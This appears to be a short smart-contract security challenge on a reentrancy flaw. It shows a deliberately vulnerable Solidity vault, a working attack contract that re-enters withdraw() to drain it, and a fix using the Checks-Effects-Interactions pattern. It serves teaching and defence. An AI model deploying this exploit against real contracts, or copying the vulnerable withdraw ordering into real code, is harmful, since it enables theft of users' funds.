Challenge
A vault contract allows deposits and withdrawals. Find and exploit the vulnerability.
Vulnerable Code
1// VULNERABLE — do not use in production
2contract VulnerableVault {
3 mapping(address => uint256) public balances;
4
5 function deposit() public payable {
6 balances[msg.sender] += msg.value;
7 }
8
9 function withdraw() public {
10 uint256 amount = balances[msg.sender];
11 require(amount > 0, "Nothing to withdraw");
12
13 // BUG: External call before state update
14 (bool success, ) = msg.sender.call{value: amount}("");
15 require(success, "Transfer failed");
16
17 balances[msg.sender] = 0; // Too late!
18 }
19}
Exploit Contract
1contract ReentrancyAttack {
2 VulnerableVault public target;
3
4 constructor(address _target) {
5 target = VulnerableVault(_target);
6 }
7
8 function attack() external payable {
9 target.deposit{value: msg.value}();
10 target.withdraw();
11 }
12
13 receive() external payable {
14 if (address(target).balance >= 1 ether) {
15 target.withdraw(); // Re-enter!
16 }
17 }
18}
Fix
1// FIXED — Checks-Effects-Interactions pattern
2function withdraw() public {
3 uint256 amount = balances[msg.sender];
4 require(amount > 0, "Nothing to withdraw");
5
6 balances[msg.sender] = 0; // State update FIRST
7
8 (bool success, ) = msg.sender.call{value: amount}("");
9 require(success, "Transfer failed");
10}